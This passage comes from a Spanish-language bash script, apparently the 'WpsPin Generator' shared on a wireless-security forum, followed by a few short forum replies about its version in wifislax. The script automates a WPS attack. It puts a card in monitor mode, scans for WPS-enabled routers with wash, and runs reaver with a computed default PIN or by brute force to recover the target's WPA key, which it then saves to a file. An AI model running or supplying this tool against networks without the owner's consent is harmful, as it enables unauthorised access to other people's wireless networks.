if [ -e "$TMP/wash_capture" ]; then rm -rf "$TMP/wash_capture"; fi
xterm -iconic -e wash -i $WIFI -C $SCANCHANNEL -o $TMP/wash_capture &
WashPID=$!
sleep $SCANTIME && kill $WashPID &>/dev/null &
sec_rem=$SCANTIME
while true; do
let sec_rem=$sec_rem-1
interval=$sec_rem
seconds=`expr $interval % 60`
interval=`expr $interval - $seconds`
sleep 1
clear
echo "[1;33mEscaneando en busca de objetivos... [1;36m$seconds[0m [1;33msegundos[0m"
echo ""
cat $TMP/wash_capture
if [ ! -e /proc/$WashPID ]; then
sleep 1
break
fi
done
SeleccionarObjetivo
}
auto_select_monitor() {
#! /bin/bash
#############################################################################################################
# Programa: monitormode
# Autor: M.K. Maese Kamara
#
# Detectar tarjetas y montar en modo monitor
#############################################################################################################
#poner tarjeta en modo monitor AUTOMATICO
clear
t=0
if [ "$WIFI" = "" ]; then
> $TEMP/wireless.txt
cards=`airmon-ng|cut -d ' ' -f 1 | awk {'print $1'} |grep -v Interface #|grep -v mon `
echo $cards >> $TEMP/wireless.txt
tarj1=`cat $TEMP/wireless.txt | cut -d ' ' -f 1 | awk '{print $1}'`
tarj2=`cat $TEMP/wireless.txt | cut -d ' ' -f 2 | awk '{print $1}'`
rm -rf $TEMP/wireless.txt
if [ "$tarj1" = "" ]; then
clear
echo " * * * A T E N C I O N * * * "
echo ""
echo " No se ha encontrado ninguna tarjeta Wireless en este equipo"
echo ""
echo " Pulsa ENTER para volver al Menú"
read yn
menu
fi
if [ "$tarj1" = "$tarj2" ]; then
tarj2=""
fi
tarjselec=$tarj1
if [ "$tarj2" != "" ] ;then
echo
echo
echo " Se han encontrado las siguientes tarjetas wifi en este equipo"
echo
airmon-ng |awk 'BEGIN { print "Tarjeta Chip Driver\n------- ------------------ ----------" } \
{ printf "%-8s %-8s %-1s %10s\n", $1, $2, $3, $4 | "sort -r"}' |grep -v Interface |grep -v Chipset
echo " Selecciona una para utilizarla en modo monitor"
echo
tarj_wire=""
tarjselec=""
function selectarj {
select tarjselec in `airmon-ng | awk {'print $1 | "sort -r"'} |grep -v Interface |grep -v Chipset `; do
break;
done
if [ "$tarjselec" = "" ]; then
echo " La opción seleccionada no es válida"
echo " Introduce una opción válida..."
selectarj
fi
}
if [ "$tarjselec" = "" ]; then
selectarj
fi
echo ""
echo "Interface seleccionado: $tarjselec"
fi
else
echo
fi
tarjmonitor=${tarjselec:0:3}
if [ "$tarjmonitor" != "mon" ] && [ "$WIFI" = "" ];then
echo ""
echo ""
echo " Se está montando la tarjeta en modo monitor, espera..."
echo ""
sleep 1
# Limpieza de interface
ifconfig $tarjselec down >/dev/null
ifconfig $tarjselec up >/dev/null
airmon-ng start $tarjselec >/dev/null
cards=`airmon-ng|cut -d ' ' -f 1 |awk {'print $1 | "sort -d"'} |grep -v Interface |grep -v wlan`
largo=${#cards}
final=$(($largo-4))
WIFI=${cards:final}
echo " $WIFI ----> Se utlilizará en modo monitor."
sleep 2
else
if [ "$WIFI" = "" ];then
WIFI="$tarjselec"
echo ""
echo " $WIFI ----> Se utlilizará en modo monitor."
sleep 2
fi
fi
clear
}
ObtenerWPA() {
if [ "$WIFI" = "" ]; then auto_select_monitor && ObtenerWPA; fi
CheckETH
if [ "$1" != "--brouteforce" ]; then
if [ "$CHECKESSID" = "FTE" ]; then
PIN=$PINWPS4
else
PIN=$PINWPS1
fi
echo ""
echo " [1;33m--> [1;32mIntroduce en segundos el tiempo de espera para probar el PIN (30 por defecto): [0m"
read REAVERTIME
if [ "$REAVERTIME" != "" ] && [ "$(echo $REAVERTIME|grep -i [a-z])" = "" ]; then
$@
else
REAVERTIME=30
fi
echo ""
xterm -iconic -e reaver -i $WIFI -b $BSSID -c $CHANNEL -a -p $PIN -vv -o $TMP/reaver_capture.$$ &
ReaverPID=$!
sleep $REAVERTIME && kill $ReaverPID &>/dev/null &
else
xterm -iconic -e reaver -i $WIFI -b $BSSID -c $CHANNEL -a -vv -o $TMP/reaver_capture.$$ &
ReaverPID=$!
fi
while true; do
sleep 1
clear
echo "[1;33mObteniendo clave WPA...[0m"
echo ""
cat $TMP/reaver_capture.$$
if [ ! -e /proc/$ReaverPID ]; then
sleep 1
break
fi
done
echo ""
WPA_KEY=$(cat $TMP/reaver_capture.$$|grep WPA|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)
if [ "$WPA_KEY" = "" ]; then
while true; do
echo "[1;31mNo ha sido posible obtener la clave WPA[0m"
echo ""
echo "Selecciona una opción:"
echo ""
echo " 1) Volver a intentar con el PIN calculado"
echo " 2) Probar todos los posibles pines (fuerza bruta)"
echo " 0) Volver al menú principal"
echo ""
read -p " #> " CHOISE
echo ""
case $CHOISE in
1 ) ObtenerWPA; break;;
2 ) ObtenerWPA --brouteforce; break;;
0 ) ShowWPA="OFF"; menu; break;;
* ) echo "[1;31mOpción incorrecta[0m"; sleep 1; clear;;
esac
done
else
WPA_TXT="$(echo $ESSID)_$(echo $BSSID|tr ':' '-').txt"
echo "ESSID: $ESSID" > $TMP/$WPA_TXT
echo "PIN WPS: $PIN" >> $TMP/$WPA_TXT
echo "CLAVE WPA: $WPA_KEY" >> $TMP/$WPA_TXT
cat $TMP/$WPA_TXT|sed -e 's/$/\r/' > $KEYS/$WPA_TXT
ShowWPA="ON"
echo "[1;31mLa clave ha sido guardada en \"$KEYS/$WPA_TXT\"[0m"
fi
echo ""
echo "Presiona enter para volver al Menú"
read junk
menu
}
#Función de desmontar tarjeta y salir, sacada de el script Multiattack de M.K.
function DESMONTAR_tarj_y_salir {
if [ "$WIFI" != "" ]; then
clear
echo ""
echo ""
echo ""
echo " ####################################################################"
echo " ### ###"
echo " ### ¿Quieres desmontar la tarjeta antes de salir? ###"
echo " ### ###"
echo " ### (n) no -> Salir sin desmontar ###"
echo " ### (m) Menú -> Volver al menú principal ###"
echo " ### ENTER -> Desmontar y Salir ###"
echo " ### ###"
echo " ### ###"
echo " ####################################################################"
echo ""
echo ""
read salida
set -- ${salida}
if [ "$salida" = "m" ]; then
menu
fi
if [ "$salida" = "n" ]; then
echo ""
echo " Hasta Pronto..."
sleep 2
clear
exit
fi
echo "$WIFI Ha sido desmontada"
airmon-ng stop $WIFI >/dev/null
fi
echo ""
echo " Hasta Pronto..."
sleep 2
clear
exit
}
# Menú principal
menu() {
clear
echo "[0;31m
__ __ ___ _
/ / /\ \ \____ ___ / _ (_)_ __
\ \/ \/ / _ \/ __| / /_)/ | /_ \
\ /\ /| |_) \__ \ / ___/| | | | |
\/ \/ | __/|___/ \/ |_|_| |_| [1;33mGenerator $VERSION[0;31m
|_| www.seguridadwireless.net "
echo ""
echo " ****************************************************"
echo " * [1;32m<<[0m Based on ZhaoChunsheng work & kcdtv script [1;32m>>[0;31m *"
echo " ****************************************************[0m "
####################################################################
sleep 1
echo "---------------------------------------"
if [ "$InfoAP" = "ON" ]; then
echo "INFO AP OBJETIVO"
echo ""
echo " ESSID = $ESSID"
echo " Canal = $CHANNEL"
echo " MAC del AP = $BSSID"
if [ "$CHECKESSID" = "FTE" ]; then
echo " Posible pin WPS = $PINWPS4"
else
echo " Posible pin WPS = $PINWPS1"
fi
if [ "$ShowWPA" = "ON" ]; then
echo " Clave WPA = $WPA_KEY"
fi
echo "---------------------------------------"
fi
echo ""
echo " 1) Buscar objetivos con WPS activado"
echo ""
echo " 2) Obtener clave WPA con reaver"
echo ""
echo " 3) Seleccionar otro objetivo"
echo ""
echo " 0) Salir"
echo ""
read -p " #> " CHOISE
echo ""
case $CHOISE in
1 ) WashScan;;
2 ) ObtenerWPA;;
3 ) SeleccionarObjetivo;;
0 ) DESMONTAR_tarj_y_salir;;
* ) echo "Opción incorrecta"; menu;;
esac
}
# Comprobación de usuario
if [ "$(whoami)" != "root" ]; then
echo -e "\e[1;31m
Debes ser root para ejecutar este script.
Prueba: sudo bash $0
\e[0m"
exit 1
fi
# Crear directorios si no existen
if [ ! -d $TMP ]; then mkdir -p $TMP; fi
if [ ! -d $KEYS ]; then mkdir -p $KEYS; fi
if [ -d $HOME/Desktop/Wireless-Keys ]; then
if [ ! -d $HOME/Desktop/Wireless-Keys/$SCRIPT-keys ]; then
ln -s $KEYS $HOME/Desktop/Wireless-Keys/$SCRIPT-keys
fi
fi
# Eliminando interfaces en modo monitor
interfaces=$(ifconfig|awk '/^mon/ {print $1}')
if [ "$interfaces" != "" ]; then
for monx in $interfaces; do
airmon-ng stop $monx >/dev/null 2>&1
done
fi
menu
-
Hola
Me extraña que en wifiway este esa version. Creo que ni esta osea que fíjate.
Cuanto se saca una nueva versión se hace el modulo, por tanto es solo copiarlo a la carpeta modules y ya esta así cargara la nueva versión.
Saludos
Quería decir en wifislax. En los cambios introducidos en la versión 4.6 dice:
21 – Actualizado wpspingenerator para aladir una mac nueva ( v 1.22 )
@USUARIONUEVO
Muchas gracias por el código
-
He decidido borrar cierto mensaje para evitar el linchamiento publico. Hay que leer un poco antes de escribir. Hagamos preguntas inteligentes y evitemos las absurdas u obias.